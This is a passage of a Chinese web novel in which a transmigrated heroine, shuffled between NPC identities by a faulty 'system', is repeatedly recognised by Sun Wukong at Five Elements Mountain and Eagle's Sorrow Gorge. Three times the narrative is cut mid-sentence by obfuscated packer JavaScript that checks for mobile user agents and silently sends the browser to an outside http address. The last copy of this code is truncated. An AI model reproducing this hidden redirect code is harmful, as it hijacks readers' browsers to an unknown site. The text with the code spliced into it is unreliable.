那根本不是普通的眼眸,而是两团在眼眶里疯狂跳跃的真金烈火!亮得惊人,亮得刺眼,仿佛连虚空都能烧穿。 当那两团金火越过空间锁定在她身上时,肖小夭感觉自己像是一瞬间被剥光了所有伪装。不仅是这层“村姑”的壳子,就连隐藏在壳子下那缕异界的灵魂,都在那目光下无所遁形。 被看穿了。 肖小夭头皮发麻,被那股恐怖的大妖威压震得呼吸一窒。她一秒钟都不敢多待,抓紧竹篮,转头就跑! 跑出好远好远,那道如有实质的灼热目光,依然如影随形地贴在她的后背上。 …… 肖小夭一口气跑出了五行山的范围,直到听见潺潺的水声,才在一条清澈的小溪边停下来,大口喘气。 溪水清澈见底,叮叮咚咚地流淌着。阳光洒在水面上,波光粼粼。两岸长着几棵野果树,枝叶繁茂。 她找了块平坦的石头坐下,把竹篮放在一边,拍了拍胸口。 “吓死我了……这才是齐天大圣的压迫感吗?前几次变成动物的时候,他收敛得也太多了吧!” 惊吓过后,是一阵难得的放松。 她踢掉那双破布鞋,把跑得酸痛的双脚泡进溪水里。水流凉丝丝的,带走了长途奔跑的疲惫,舒服得她长舒了一口气。 她从篮子里摸出一个野果,在衣服上随便擦了擦,咬了一口。 “嘶——” 酸!酸得她五官都皱到了一起,牙根直冒酸水。但酸劲儿过去后,口腔里又泛起一丝淡淡的清甜。 她一边啃着酸果子,一边晃荡着双腿。 要是一直这样做个没有任务的边缘NPC,在西游世界里混吃等死,好像也不错? 溪水流过脚背,阳光暖洋洋地照在身上。这一刻,她终于在这该死的循环系统里,找到了一点“活着”的真实感。 正惬意着,极远处突然传来一声天崩地裂的巨响! “轰——!!!” 肖小夭吓得手一抖,差点把半个果子掉进溪里。她猛地站起身,眺望五行山的方向。 只见那五座直插云霄的山峰正在剧烈摇晃,紧接着,一道璀璨夺目的通天金光从山底轰然爆发,直冲云霄!那金光太盛了,瞬间将半边苍穹都染成了刺目的暗金色。 大地震颤,飞鸟惊散,群兽哀鸣。隐约中,似乎有一声压抑了五百年的狂傲长啸,随风激荡而来。 肖小夭看呆了。 “这就是齐天大圣破封的排面吗……”她喃喃自语,“这哪是出山啊,这是要把天都再捅个窟窿啊。” 金光肆虐了好一会儿,才渐渐收敛散去,天地重新归于平静。 肖小夭收回目光,重新坐下,继续泡脚啃果子。 按剧情算,猴子现在应该已经跳出来给唐僧磕头了吧?应该已经拜师了吧? 她正胡思乱想着,不远处的土路上突然传来了脚步声。 肖小夭转头一看,眼睛瞬间瞪大。 一队人马正沿着溪边的路走来。 走在前面的,是牵着白马的唐僧。而跟在唐僧身侧的……是一个毛脸雷公嘴、身形瘦小的猴子。 他头上还没有戴那顶标志性的紧箍咒,乱糟糟的黄毛里还夹杂着没抖落干净的碎石和杂草。腰间没有虎皮裙,而是极为狂放地、胡乱围着一块不知刚从哪头倒霉野兽身上扒下来的带血皮毛。 虽然个头不高,但他走起路来双手摇摆,大摇大摆,骨子里透着一股天上地下唯我独尊的桀骜。 肖小夭吓了一跳,赶紧把脚从水里抽出来,手忙脚乱地套上那双破鞋,站得笔直。 唐僧看见了她,温和地笑了笑,停下脚步:“女施主,又见面了。多谢你方才指路,那山下果然压着一只神猴,如今已被贫僧救出,收为徒弟,愿随贫僧一同西行。” 肖小夭低着头,极力缩小自己的存在感,赶紧还礼:“长老客气了,恭喜长老收得高徒。” 唐僧点点头,正要牵马继续赶路。 一直跟在旁边百无聊赖抛着石子玩的猴子,却突然停下了脚步。 他没有跟着唐僧走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347393|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是身形一晃。 下一秒,肖小夭只觉眼前一花,那只猴子已经毫无征兆地蹲在了她面前的石头上。 距离太近了。 近到肖小夭能清晰地看见他雷公嘴边细密的金色绒毛,能闻到他身上那股极具侵略性的气息——那是一种混合着五百年深山老林的土腥气、烈日暴晒的干草味,以及属于野兽的浓烈血腥气。 悟空蹲在石头上,单手支着下巴,微微歪着头,那双淡金色的眸子饶有兴致地盯着她。 “刚才,是你给我师父指的路?”他的声音有些沙哑,带着些许顽劣的笑意。 肖小夭心跳如擂鼓,强迫自己像个普通村姑那样,怯生生地点了点头。 悟空咧开嘴,露出两排森白的尖牙,勾起一个略显邪气的弧度:“那老孙真是……多谢女施主了。” 不知道为什么,虽然是一副毛脸雷公嘴的雷人尊容,但被他这么近距离地盯着,肖小夭竟没来由地觉得……这猴子笑起来,居然还有点狂野的帅气? 打住!你在想什么危险的东西! 肖小夭赶紧把视线挪开,盯着自己的脚尖。 悟空没有起身,他随意地伸出毛茸茸的爪子,从她放在地上的竹篮里,毫不客气地拿了两颗野果。他在自己那块带血的兽皮上蹭了蹭,张嘴咬了一大口。 只嚼了一下,那张雷公嘴就嫌弃地撇了起来,眉头紧皱。 “呸,酸的。” 肖小夭在心里腹诽:【知道酸你还拿?你还给我啊!】 但悟空显然没有还的意思,他满脸嫌弃地把剩下的大半个果子,连同手里那颗完好的,一并揣进了怀里。 唐僧走出几步发现徒弟没跟上,回头呼唤:“悟空,莫要顽劣,不可为难人家女施主!” “知道了师父,谢人家指路呢!” 悟空头也不回地应了一声。 在唐僧转过头去的那一瞬间,悟空突然倾身向前,凑近了肖小夭。 他压低了声音,用只有他们两人能听见的音量,低声说了一句话: “女施主,这都是咱们第四次见面了……你这换皮囊的速度,比老孙的七十二变还快啊。” “轰”的一声! 肖小夭脑子里仿佛炸开了一道惊雷,心跳在那一瞬间彻底漏跳了一拍。 他知道。 他不仅从一开始就知道,他甚至连次数都记得清清楚楚! 第一章丢桃子的小猴子,第二章崖边的麻雀,第三章院子里的大黄狗,再到现在这个本尊——他一直都知道那个壳子里的灵魂是她! 看着肖小夭瞬间僵硬的身体和骤然放大的瞳孔,悟空眼底的笑意更深了。 他满意地直起身,拍了拍手上的果屑,轻巧地从石头上一跃而下,几步追上了白马。 “师父,走喽——” 一人一马一猴,迎着夕阳的方向,渐渐走远。 肖小夭如同一尊石像般僵立在原地,怔怔地看着那个扛着金箍棒、大摇大摆的毛茸茸背影,久久无法回神。 【系统】:滴——检测到目标生命体[齐天大圣]与宿主产生深度语言交互。交互内容:“这都是咱们第四次见面了”。记录上传中。 【系统】:警告!检测到宿主心率出现异常波动。心跳过速,峰值达到140。需要系统提供镇静剂帮助吗? 肖小夭猛地回过神,恼羞成怒地在脑海里咆哮:不需要!闭嘴!我很正常! 【系统】:……收到。故障排查继续。 肖小夭深吸了好几口气,才勉强平复下狂跳的心脏。 她重新坐回石头上,把脚浸入冰凉的溪水里,试图让自己冷静下来。 那只猴子……真是个要命的妖孽。 她低头,看着竹篮里因为少了两个果子而凹下去的缺口。 过了半晌,她伸手拿起一颗果子,放进嘴里咬了一口。 还是酸的。 但奇怪的是,好像……确实没有刚才那么酸了。 5. 陡涧换马 “女施主?女施主?” 一个声音在耳边响起,温温和和的,像初春的微风拂过。 肖小夭迷迷糊糊地皱了皱眉,翻了个身,扯过一截干草盖在脸上,想继续睡。 “女施主,醒一醒?” 那个声音又响了起来,比刚才近了一点,语气里带着些许担忧。 肖小夭不情不愿地睁开眼。 一张俊俏的脸猝不及防地凑在眼前。白白净净,五官端正,眉眼间透着慈悲与温和,带着点歉意,又带着点关切。阳光从他背后照过来,给那颗光溜溜的脑袋镀上了一层神圣的金边。 唐僧。 肖小夭刚睡醒的脑子还没转过弯来,瞳孔却已经由于惊吓瞬间放大了。 紧接着,她看见唐僧身侧不远处,还蹲着一个毛茸茸的脑袋。背对着她,只能看见一个长满黄毛的后脑勺和一只尖尖的耳朵。那只耳朵正百无聊赖地抖动着,似乎在听周围的动静。 肖小夭愣住了。什么情况? 她猛地坐起来,手脚并用地往后挪了半尺。 唐僧被她突然的动作吓了一跳,也往后退了一步,双手合十连声道歉:“阿弥陀佛,贫僧失礼了!贫僧只是见女施主躺在这山坡上,毫无遮挡,怕你被日头晒出病来……” 肖小夭根本没听清他念叨什么,脑袋里嗡嗡直响。 她低头看自己——粗布短衣,打着补丁,袖口磨得起了毛边。腰间系着根粗糙的麻绳,挂着个破水囊。脚上是一双扎脚的破草鞋。 再看看身边——几匹马正甩着尾巴,低头悠闲地啃着草。三匹棕马,一匹白马。 她猛地抬起头环顾四周。远处是连绵起伏的陡峭山峰,近处是一片山坡草地,而正前方不远处,是一条深不见底、水声轰隆作响的深涧。 牧马人?她成牧马人了?! 上一刻她还在五行山下泡脚吃野果,没死,没受伤,怎么突然就换地图了?! 【系统】:滴——宿主在上一节点存活时间超过24小时,且脱离主线剧情。系统检测到“无效挂机”异常。为维持剧情推进效率,已强制重置时间线。 【系统】:当前身份:鹰愁涧牧马人。当前时间点:小白龙即将出现。 肖小夭在心里咬牙切齿地破口大骂:重置个什么玩意儿!你强制切号好歹提前给个通知啊!有没有点用户体验了! 【系统】:当前为故障模式,用户体验模块已损坏。请宿主尽快完成身份适配。 行。换就换。反正她是个没有妖权的NPC。 肖小夭深吸一口气,强迫自己冷静下来,看向满脸担忧的唐僧。 “长老,我没……没事……”她干巴巴地挤出一个村姑该有的憨厚笑容,“我就是刚睡醒,有点发懵。” 唐僧松了口气,温和地笑了笑:“阿弥陀佛,那就好。贫僧冒昧相问,敢问女施主可是这山中的牧马人?” 肖小夭点点头:“是。” 唐僧又问:“那贫僧想请问,这附近何处能取水?贫僧的马行了一日,渴得很。还有,这些马草可愿卖一些给贫僧?贫僧自当付钱。” 肖小夭看了一眼那条轰隆作响的深涧。 心里天人交战:不说吧,不符合NPC的设定;说了吧,这头倒霉的白马马上就要去给小白龙加餐了。 但小西刚警告过不能偏离剧情。算了,死马不死贫道。 “那儿有水。”她伸手指了指前方,“那条涧里。” 唐僧顺着她指的方向看去,面露喜色:“多谢女施主!” 他正要牵着马过去,那个一直背对着这边的毛茸茸后脑勺,突然转了过来。 一双眼睛,笔直地锁定了她。 火眼金睛。眼底深处像是有两团金色的火苗在隐隐跳跃,带着洞悉一切的锐利。 肖小夭对上那双眼睛,心脏猛地漏跳了一拍。 悟空蹲在草地上,单手托着腮,歪着头盯着她看了两秒,嘴角慢慢勾起一个意味深长的弧度。 “你倒是指得痛快。”他似笑非笑地说。 肖小夭心里一紧,这语气怎么听着这么危险? “我……我是放马的,”她硬着头皮演下去,“这附近哪儿有水,我当然知道。” 悟空没接话,依然保持着那个姿势盯着她。 那极具侵略性的目光从上到下,又从下到上,仿佛在打量一件极为有趣的猎物,最后定格在她那张易容后平平无奇的脸上。 肖小夭被他看得浑身汗毛都要竖起来了,终于忍不住往后缩了缩:“看……看什么?” 悟空笑了。他露出两排白森森的尖牙,从喉咙里发出一声低笑。 “看看你这个放马的啊。”他轻飘飘地说着,突然话锋一转,“放马的,你知不知道这涧……叫什么名儿?” 肖小夭愣住了。 她当然知道。鹰愁涧。但NPC能知道吗? “不知道。”她把头摇得像拨浪鼓,“我就是个放马的,知道那里有水给马喝就行,又不用知道它叫什么名。” 悟空盯着她看了两秒。 突然,他身形一晃。肖小夭甚至没看清他是怎么动作的,那张毛脸雷公嘴就已经凑到了她面前。 距离极近。近到她能感受到他呼吸间带来的温热气流,能看清他眼底深处那细碎而狂妄的金光,甚至能闻到他身上淡淡的、属于强者的气息。 “不知道?”他刻意压低了沙哑的嗓音,尾音微微上扬,带着致命的蛊惑和压迫感,“不知道……那你刚才指得那么干脆?” 肖小夭被他这突如其来的靠近吓得屏住了呼吸,脑子有些短路。 这猴子……靠这么近干嘛?虽说毛茸茸的脑袋看着确实很好rua,但这可是能一棒子把人打成肉泥的齐天大圣啊! 她本能地往后仰,拉开一点安全距离,强装镇定:“指水有什么不干脆的?水声那么大,涧就在那儿,瞎子才听不见!” 悟空盯着她有些泛红的耳根,嘴角的笑意更深了,眼神里满是戏谑。 “行。”他拖长了音调,“那,放马的,你叫什么?” 肖小夭一呆。 问她名字?她哪知道这具身体叫什么! 她在脑海里疯狂戳系统:小西!小西!我叫啥啊!! 【系统】:……(沉默是今晚的康桥) 肖小夭:小西你个完蛋玩意儿!关键时刻装死是吧! “我……”她张了张嘴,支支吾吾。 就在她快要绷不住时,远处传来了唐僧的呼唤:“悟空,莫要顽劣,别为难人家女施主了!” 悟空回头看了一眼正在水涧边的唐僧,又转回来看向肖小夭。 “不说算了。”他哼笑一声。 随后他站起身,拍了拍虎皮裙上的草屑,双手枕在脑后,大摇大摆地朝着涧边走去。 肖小夭坐在原地,看着那个嚣张的背影,心生疑惑。 这猴子的人设不是高冷傲娇、不爱管闲事吗?怎么跟她一个小小的NPC扯七扯八地掰扯这么久? 【系统】:滴——目标生命体对宿主产生持续关注。本次关注交互时长:5分钟。已记录。 肖小夭在心里翻了个大大的白眼:小西,你个破系统就是个马后炮!找你的时候不出现,没找你又突然出个声,迟早被你吓死! …… 前方,唐僧已经牵着白马走到了涧水边。 肖小夭坐在山坡上,下意识地张了张嘴,想喊一声“小心”。但话到嘴边,又咽了回去。 她喊什么?喊“水里有龙”?一个普通的牧马人怎么可能知道这种事。 就在她保持沉默的下一秒—— 原本平静的涧水突然像沸腾了一般,紧接着“轰”的一声巨响,水花溅起数十丈高! 一条鳞片森寒、张牙舞爪的白龙破水而出,携着狂风,一口便将那匹正在饮水的白马连皮带骨吞入了腹中! “啊——!” 唐僧吓得跌坐在地,脸色惨白,浑身抖得像筛糠。 肖小夭坐在山坡上,看着这极具视觉冲击力的一幕,心里默默数着:一、二、三—— 果然,悟空已经动了。 他不知何时已经站在了最靠近水涧的巨石上,手里死死攥着那根金光闪闪的如意金箍棒。他身形微躬,浑身的肌肉紧绷,身后的猴尾巴竖得笔直,宛如一张拉满的弓。 但在跳跃的前一秒,他突然回过头,远远地往山坡上瞥了一眼。 肖小夭皱眉。 不是,大哥你救马去啊!你看我干嘛?怕我偷你行李啊? 没等她吐槽完,悟空已经收回目光,纵身一跃,“噗通”一声扎进了深不见底的鹰愁涧中。 水花四溅,随后水面重新归于翻滚的平静。 肖小夭双手抱膝,坐在山坡上,盯着那条深涧。 太阳慢慢西斜,天边开始泛起如血的晚霞。 那只猴子还没出来。水底下不时传来沉闷的轰鸣和隐约的龙吟,震得连地面都在微微发抖。 唐僧坐在地上,嘴里发着抖念念有词。几个路过的村民围了过去,有的在安慰,有的在叹气。 肖小夭不知道自己现在该做什么。作为一个牧马人,她应该去看着剩下的那几匹马,但她的目光就是无法从那深涧上移开。 她想起刚才悟空跳水前看她的那一眼。 那一眼是什么意思?警告?炫耀?还是……别的什么? 她不知道。 但她发现自己竟然一直在等。虽然也不知道在等什么,可能……是刻在现代人DNA里、等待西游记史诗级名场面诞生的那种激动吧。 太阳终于完全落山了。夜幕降临,鹰愁涧的水声在黑夜中显得更加深沉可怖。 就在这时,涧底突然传来一声极其凄厉的龙吟! 紧接着,“轰隆”一声巨响,水柱冲天! 肖小夭的脑海中,几乎是不受控制地、自动循环播放起了那首刻进灵魂的BGM—— *“噔噔蹬蹬,噔噔蹬蹬,噔噔蹬蹬,噔噔蹬蹬……”* 伴随着脑内的《云宫迅音》,水花四溅中,那只毛茸茸的猴子破水而出,稳稳地落在岸边! 他浑身湿透,金色的毛发一绺一绺地贴在身上。而他的右手里,正死死地捏着一条被揍得鼻青脸肿、已经缩得像条泥鳅一样大小的白龙。 他站在岸边,大口大口地喘着粗气,胸膛剧烈起伏,水滴顺着下巴和金箍棒不住地往下砸。 肖小夭长长地松了口气。 她站起身,拍了拍裤腿上的草屑,远远地望着那边。 悟空将手里奄奄一息的小白龙随手扔在岸边,拍了拍手,准备朝唐僧走去。 刚走出去两步,他突然停住脚步,转过头,隔着浓重的夜色,精准地看向了半山坡上的肖小夭。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347394|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 肖小夭愣住了。 隔着这么远的距离,夜色又深,她根本看不清他脸上的表情。 但她能真真切切地感受到那道炽热、霸道、毫不掩饰的视线,如同实质般穿透了夜空,落在她身上。 过了一会儿,他收回目光,转身继续朝唐僧走去。 肖小夭重新坐回草地上,摸了摸自己莫名跳得有些快的胸口,心里涌起一股说不清道不明的怪异感觉。 …… 夜深了。 肖小夭躺在山坡的草地上,双手枕在脑后,盯着满天的繁星发呆。 剩下的几匹马在不远处安静地吃着草。山风吹过,带来鹰愁涧轰隆隆的水声。 天上的星星真亮啊。在现代的大城市里,根本看不见这么澄澈、这么璀璨的星空。 有一说一,如果不考虑随时可能被妖怪吃掉,或者被系统抹杀,西游世界的风景其实还挺不错的。 但她还是想回家。想念她的奶茶、外卖、空调,和那张软乎乎的床。 正胡思乱想着,身后突然传来了一阵极轻的脚步声。 踩在柔软的草地上,发出“沙沙沙”的细碎声响。 肖小夭以为是那只不安分的猴子又来找茬了,猛地坐起来回头看去。 ——却是一个老头。 老头穿着一身灰扑扑的粗布衣裳,满头稀疏的白发,脸上全是深深的褶皱。他严重驼着背,手里拄着一根盘根错节的木拐杖,看着极其眼生。 肖小夭愣了一下。 这老头,什么时候上山的?她怎么一点动静都没听见? 老头见她回头,咧开嘴笑了笑,露出一口缺了半边的黄牙。 “丫头,一个人在这儿看星星呢?” 肖小夭警惕地打量了他一眼。 看着就像个普通的乡村老头。可能是附近村落里,年纪大了觉少,半夜出来溜达的吧。 “嗯。”她点点头,“您也是睡不着?” 老头慢吞吞地走到她旁边,也不嫌弃地上脏,直接挨着坐了下来,仰头看向星空。 “是啊,年纪大啦,闭上眼睛也睡不着。”他慢悠悠地说,“索性出来转转。” 肖小夭摸不准他的来路,干脆没接话。 两人就这么对着星空,沉默地坐了一会儿。 老头突然开口,打破了寂静:“下午涧里那动静,是那条白龙出来了?” 肖小夭心里一惊:“您怎么知道?” 老头呵呵笑了两声:“这附近十里八乡的,谁不知道?那条龙在这鹰愁涧里盘踞好些年了,三天两头吃马吃羊,连经过的活人都不放过,根本没人管得了。” 肖小夭垂下眼眸,没说话。 老头缓缓转过头看着她。那双浑浊的老眼里,竟透出一种极其深邃、仿佛能看穿时光的精光。 “老朽听说,今天山里来了两个和尚。其中那个长着毛脸的,直接跳进深涧里去了?” 肖小夭咽了口唾沫,点点头。 老头笑了,那笑容里带着几分莫测的深意。 “有意思。”他用拐杖轻轻敲了敲地面,“那只猴子,真是有意思得很。” 肖小夭心里一动,忍不住问:“您……认识那只猴子?” 老头摇摇头:“老朽哪有那个福分认识。但……听总是听说过的。五百年前大闹天宫的齐天大圣,这天上地下,谁没听说过他的威名?” 肖小夭沉默了。 是啊,齐天大圣。神话里的无敌战神,现在却活生生地站在她面前,甚至还……记得她。 老头双手撑着拐杖,缓慢而艰难地站了起来,拍了拍身上的泥土。 他居高临下地看着肖小夭,脸上的笑容收敛了,语气变得前所未有的凝重。 “丫头,听老朽一句劝。”老头的声音在夜风中显得空灵而苍老,“那猴子,莫要离得太近。” “他身上的‘因果’太重,重到连这天都压不住。你一个肉体凡胎……是受不起他的因果的。” 肖小夭愣住了,一股凉意从脚底直窜头顶。 “您这话是什么意思?为什么……” 她话还没问完,老头并没有回答,只是拄着拐杖,转身慢吞吞地往山坡下走去。 走出几步,老头突然停住,没有回头。 “那猴子出来了。”老头指了指山脚下,“就在那儿。” 肖小夭下意识地顺着他指的方向看去。 山脚下的水涧边,孙悟空正静静地站在那里。冰冷的月光倾泻在他身上,给那身桀骜的毛发镀上了一层银辉。他扛着金箍棒,正仰着头,目光穿透夜色,直直地望着她。 肖小夭心里猛地一紧。她转过头,想继续问那个老头。 然而,身后的草坡上空空荡荡。 只有微风拂过野草的沙沙声。那个老头,凭空消失了。 肖小夭僵在原地,后背瞬间起了一层白毛汗。 这老头,绝对不是普通人!他到底是谁?土地公?还是别的什么神仙?他说的“因果”到底是什么意思?! 但她现在没时间细想了。 因为山脚下,那个浑身沐浴在月光下的猴王,正目光灼灼地盯着她。 寂静的山野间,传来他带着三分命令、七分慵懒的声音。 不大,却清晰地砸在肖小夭的耳膜上: “放马的。” “下来。” 6. 你认识我? 肖小夭浑身一僵。 她定睛看去,悟空不知何时已经抬起了头,隔着大半个山坡的夜色,正目光灼灼地盯着她。那双火眼金睛在暗夜中如同两盏跳跃的金灯,亮得让人无处遁形。 她咽了口唾沫,没敢动。 “怎么,还要老孙上去请你?”悟空又开了口,尾音微微上挑。 肖小夭心头一紧,哪敢让这位祖宗上来请。她老老实实地站起身,深一脚浅一脚地往山下走去。 走到涧边,悟空已经站直了身子等她。 距离近了,她才发现他浑身的毛发都被水打湿,紧紧贴在身上,看起来比白天初见时瘦了一整圈,显得骨肉匀称,充满了一种内敛的爆发力。 “坐。”他用下巴点了点旁边的一块圆石。 肖小夭乖乖找了块石头坐下,双手放在膝盖上,活像个被老师叫到办公室的小学生。 悟空蹲回巨石上,继续拧他尾巴上的水,没急着说话。 空气中弥漫着水腥气和尴尬的沉默。肖小夭眼神乱飘,不知道该说什么。 过了一会儿,悟空突然头也不抬地开口:“刚才坐你旁边那个老头,你认识?” 肖小夭一愣:“隔这么远,你看见了?” 悟空掀起眼皮,似笑非笑地瞥了她一眼:“我眼睛又不瞎。” “是……是个过路的。”肖小夭硬着头皮扯谎,“附近村里的孤寡老头,大半夜睡不着,出来转转。” 悟空停下手里拧水的动作,盯着她看了两秒。 “转转?”他轻嗤一声,“大半夜,从山下摸黑爬到半山坡,翻这么陡的一个岭,就为了转转?” 肖小夭被噎住了。 这猴子,不仅战力爆表,逻辑怎么也这么严密! “我哪知道他怎么想的。”她死鸭子嘴硬,“腿长在他身上,他自己要爬上来的。” “他都跟你说什么了?”悟空身子前倾,逼问了一句。 肖小夭犹豫了一下:“没说什么要紧的……就说小白龙出来了,说你跳水里去打架了。哦,最后走的时候还评价了一句,说你……挺有意思的。” 虽然她根本不知道那个神秘老头嘴里的“有意思”到底是几个意思。 悟空挑了挑眉,眼神变得锐利起来:“老孙有不有意思,他为何要特意跟你一个放马的说?这跟你有什么关系?” 肖小夭被问住了。 是啊,跟她有什么关系?那老头为什么要警告她“受不起他的因果”? “我怎么知道!”她双手一摊,摆出一副破罐子破摔的无辜脸,“可能是看我长得面善吧!也许我就是一个无辜的路人、一个恰好路过的吃瓜群众呢?” 悟空盯着她看了几秒,眼底闪过一丝莫测的光,没再在这个问题上追问。 沉默再次降临。水流拍打着岩石,发出单调的白噪音。 过了一会儿,悟空突然又扔下一个炸雷。 “下午我在水里打架,你一直在上面看我。” 肖小夭心跳猛地漏了一拍。 “从开始到结束,眼睛都没眨一下。”他补充道。 他怎么连这都知道?!他在水底和一条龙生死搏斗,居然还有闲心注意岸上有谁在看他?! “我……我就是……”她结结巴巴地找补,“我说我是在担心你,你信么?” 悟空转过头,金色的眼眸锁定了她。 “怕我输?”他反问。 肖小夭被噎得哑口无言。 怕他输?开什么国际玩笑,他是齐天大圣孙悟空,当年十万天兵天将都没能拿下他,一条鹰愁涧的小白龙算什么? “也不是怕你输……”她下意识地反驳。 悟空身子又往前探了一分,语气变得极具压迫感。 “那为何担心?既然觉得我不会输,你一个普普通通的牧马人,紧张什么?”他死死盯着她的眼睛,一字一顿地问,“你,认识我?” 肖小夭彻底愣住了。 认识吗?算认识吧。她见过他变成小猴子丢桃子,见过他化作麻雀救她一命,见过他变成大黄狗嫌弃腊肉,也见过他此刻的真容。 但……真正认识吗?对于这个西游世界来说,她只是个连名字都没有的异界游魂。 她摇了摇头,苦笑了一下:“不认识。” “那担心什么?”悟空步步紧逼。 肖小夭张了张嘴,却发不出声音。 是啊,她担心什么?他出不出来、受不受伤,关她一个随时会被系统抹杀的NPC什么事? 见她这副呆愣的模样,悟空盯着她看了几秒,突然笑了。 那笑容带着点玩味,带着点洞悉一切的狡黠。 “上次在五行山下见你,你还在路边啃酸果子。”他慢悠悠地说,“怎么这才过了一天,你就变成这荒山野岭里放马的了?” 肖小夭心里一紧,警铃大作。 “你认错人了!”她拔高了音量,试图掩盖心虚,“我从小就在这鹰愁涧放马,根本没去过什么五行山!” 悟空歪着头,嘴角的弧度越来越大。 “从小就在这儿放马?”他仿佛听到了什么天大的笑话,“行,那你告诉我,山下那个村子叫什么名儿?” 肖小夭傻眼了。 村子?什么村子?原著里只写了鹰愁涧收白龙,谁特么知道山下还有个村子叫什么名啊!小西个破系统也没给她这份背景资料啊! “我……我不进村的!”她急中生智,硬着头皮胡诌,“我性格孤僻,就住在山上的马棚子里!” “哦?”悟空挑眉,“棚子在哪儿?” “那边!”肖小夭看也没看,极其自信地随手往身后漆黑的山坡上一指。 悟空顺着她指的方向看了一眼,又转回过头,脸上的表情似笑非笑。 “那边是悬崖。”他好心提醒。 肖小夭:“……” 空气突然安静得让人想死。 悟空盯着她生无可恋的脸,身后的尾巴晃得更欢快了。 “编,接着编。”他冷哼一声。 肖小夭深吸一口气,决定施展现代人最擅长的绝技——生硬转移话题。 “你……你手里的龙呢?”她指了指那条惨兮兮的小白龙。 悟空看了她一眼,倒也没继续拆穿她,只是嘴角的笑意更深了。 “放回水里去了。”他说,“等明天那个叫观音的菩萨来收。” 肖小夭松了口气,点点头。剧情对上了。 就在这时,悟空突然毫无征兆地往前一凑。 距离骤然缩短。近到她能看清他睫毛上挂着的水珠,能闻到他身上那股属于涧水的寒气,以及一种独属于大妖的、极具侵略性的野性气息。 “你这般不断变换身份,像个游魂一样跟在我们身边,”他的声音压得极低,沙哑中透着危险的试探,“到底,有什么目的?” 肖小夭的心脏差点从嗓子眼里跳出来。 目的?她能有什么目的! 她在脑子里疯狂咆哮:*我有个锤子目的!我连自己是谁都不知道!系统让我换皮我就得换,让我死我就得死,我就是一个苦逼的打工魂啊!* 但这些话她半个字都不能说,说了就是死。 “我没有目的。”她迎着那双仿佛能看穿灵魂的金眸,极其诚恳地说,“我真的只是个不重要的小角色,一个随时可以被替换的NPC。我不会对你们的西行之路有任何影响,我保证。” 悟空盯着她的眼睛,仿佛在评估她这句话的真伪。 看了几秒后,他突然笑了。 这次的笑容和之前都不一样。没有了戏谑,没有了试探,反而透出一股张狂桀骜的傲气。 “何必妄自菲薄。”他淡淡地说。 肖小夭愣住了:“什么?” 还没等她细品这句话里的意思,悟空已经站了起来,随意地拍了拍屁股上的水渍。 “走了。” 他走出几步,突然又停下脚步,回头看了她一眼。 “下次要是再换身份,记得把背景编圆一点。”他嗤笑一声,“悬崖上盖马棚,鬼都不信。” 肖小夭:“……” 话音未落,他纵身一跃,如同一只夜鸟般轻巧地融入了黑暗中,回唐僧的营地去了。 肖小夭一个人坐在冰凉的石头上,听着水声,愣了很久。 *何必妄自菲薄。* 这无法无天的猴子,居然还会熬这种充满哲理的心灵鸡汤? …… 第二天一早,肖小夭是被一阵奇异的光芒晃醒的。 那光芒不同于寻常的日出,它是直接从云层深处透出来的。一层一层晕染开,将半边天空都染成了庄严而圣洁的淡金色。 云朵镶着金边,正缓缓向鹰愁涧的方向飘来。 肖小夭揉着眼睛坐起来,待看清那云端上的人影时,整个人瞬间清醒。 那是一个白衣女子,衣袂在晨风中飘飘欲仙,周身笼罩着一层肉眼可见的淡淡荧光。她一手托着羊脂玉净瓶,瓶口插着一枝翠绿欲滴的杨柳,柳叶上还挂着晶莹的露珠,在金光下折射出令人心生敬畏的光芒。 观音菩萨。 肖小夭彻底被镇住了。 她在现代见过无数寺庙里泥塑木雕的观音像,慈眉善目,宝相庄严。但当真神降临时她才发现,那种震撼是完全无法用言语形容的。 当她站在那里,周围所有的光线似乎都变得柔和了。呼啸的晨风停息了,连涧水的声音都小了下去,漫山遍野的草木仿佛都有了灵智,安静地低垂着头,像是在聆听神明的法旨。 肖小夭连大气都不敢出,手脚并用地爬起来,躲到半山腰一棵粗壮的老树后面,探出半个脑袋偷偷往下看。 观音自云端飘然落下,赤足点在涧边的青石上。 神迹显现了——那块原本布满滑腻青苔的石头,瞬间生出了翠绿的嫩芽。她步履走过的地方,几株不知名的野花在清晨的寒风中悄然绽放。 悟空和唐僧早已经在那里恭候。 悟空手里提着那条半死不活的小龙,难得地收起了平日里吊儿郎当、唯我独尊的模样。他站得笔直,将白龙恭恭敬敬地递了过去。 观音接过小龙,修长洁白的手指轻轻一点。 那条昨晚还凶悍无比的恶龙,此刻在她掌心温顺得像条小泥鳅,瑟瑟发抖,发出细微的呜咽声。 观音低头看着它,眼神温和,却透着一股不怒自威的浩瀚法度。 “孽畜。”她朱唇轻启。声音明明不大,却如洪钟大吕一般,清清楚楚地传进在场每个人的灵魂深处,“你在此兴风作浪,吞噬生灵,你可知罪?” 小龙在她掌心疯狂点头,呜咽声更大了。 观音沉默片刻,轻轻摇了摇头,发出一声悲悯的叹息。 她伸出玉手,在小龙身上缓缓拂过。指尖所过之处,带出一长串耀眼的金光。小龙在光芒中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 